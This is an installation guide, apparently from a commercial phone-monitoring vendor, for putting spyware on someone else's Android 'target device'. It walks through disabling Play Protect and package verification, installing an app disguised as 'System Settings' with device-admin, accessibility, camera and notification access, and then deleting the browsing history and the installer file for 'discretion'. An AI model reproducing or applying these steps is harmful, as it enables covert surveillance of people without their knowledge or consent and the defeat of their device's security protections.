Installation Steps With Pictures
If you’re a first-time user, you’ll be able to experience the power of the Full plan for free for 24 hours.
1. What You Need To Get Ready
Access to the target device (the device you wish to monitor). The app needs to be downloaded and installed on that device.
Android 5 or newer.
Internet connection (data plan of at least 1GB recommended).
2. Before Installing
2.1 Allow installation from unknown sources (only Android 7.1 and below)
Open “Settings”
Open “Settings”
Tap on “Security”
Check the box “Unknown sources”.
Accept the warning by clicking “OK”.
2.2 Disable Package Verifier
Open “Settings”
Open “Settings”
Tap on “Play Protect”
Open "Settings" for Play Protect
Tap on "Turn off"
3. Download Phone Monitor Android App
Visit www.tphmr.com from your target device to download the mobile app.
Visit www.tphmr.com from your target device to download the mobile app.
Choose Your Platform
Type the control text from the box, accept Terms and Conditions and tap the "Download" button to start downloading.
If you get a message like this one, it means that you have not disabled the verification of applications from step 2.2. Alternatively, click “Install Anyway (risky)”.
4. Configure the Application
Accept Terms and Conditions and tap on “Continue”
Accept Terms and Conditions and tap on “Continue”
Tap on "While using the app" button to allow system to take pictures and record video (do the same for all the requested permissions).
Tap "OK" after you have allowed all requested permissions.
Type verification code.
Tap on "Activate" button to activate the device admin app.
Tap on "Start Now" to start recording or casting.
Disable Play Protect to scan the app.
Allow to always run in background.
Allow notification access for System Settings app.
Turn "on" Accessibility for System settings.
Turn on "Permit usage access" to allow System Settings app usage permission to application.
Check "Always" on the next step to allow System Settings to display over other apps.
After completing all settings for the best performance of the app, tap on "Continue".
5. Create / Register Account
Tap on “I’m new user”.
Tap on “I’m new user”.
Enter your Device Name, Email, and Password with confirmation, and tap on “Register” button.
You will get a success message if everything goes well.
6. Best Discretion
Delete browsing history
Delete browsing history
Delete the installation file (.apk)
Initiate the Uninstallation Process
Go into your phone’s settings.
Go into your phone’s settings.
In ‘Settings‘, select ‘Apps’.
In ‘Apps,’ search for ‘System Settings’ and you will see the app. Press the app.
An alert message will pop up asking you to enter a PIN.
Insert your Phone Monitor password and press OK.
A ‘Device administrator‘ prompt will pop up. Press ‘Deactivate and uninstall’ on the bottom right.
On the next screen, you will see ‘App info’. Press ‘Uninstall’ at the bottom of the screen.
A prompt will appear asking if you want to uninstall this app. Press OK.
PC Monitoring Tool Installation Guide
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Installation Assistance
Want to make sure the installation runs smoothly? No worries - you can get one-time remote assistance from one of our certified technicians!
We're here to ensure a seamless setup and eliminate any errors you may face, so you can start making the most of your Phone Monitor subscription right away.
*Note: You will need physical access to the target device.
Premium Help Suite
We want you to feel like a VIP. For the entire duration of your subscription, you will have full access to all self-service options in Helpdesk, so you don’t have to wait for anyone. And if you do end up needing help from our technicians, they’ll be here for you within 24h.
*Recommended options to make the most of it:
1) Buy support & app subscription together, for the same duration (e.g. 3 mos. for both), OR: 2) Buy 12-month Help Suite and just keep renewing your 1- or 3-mo. app subs.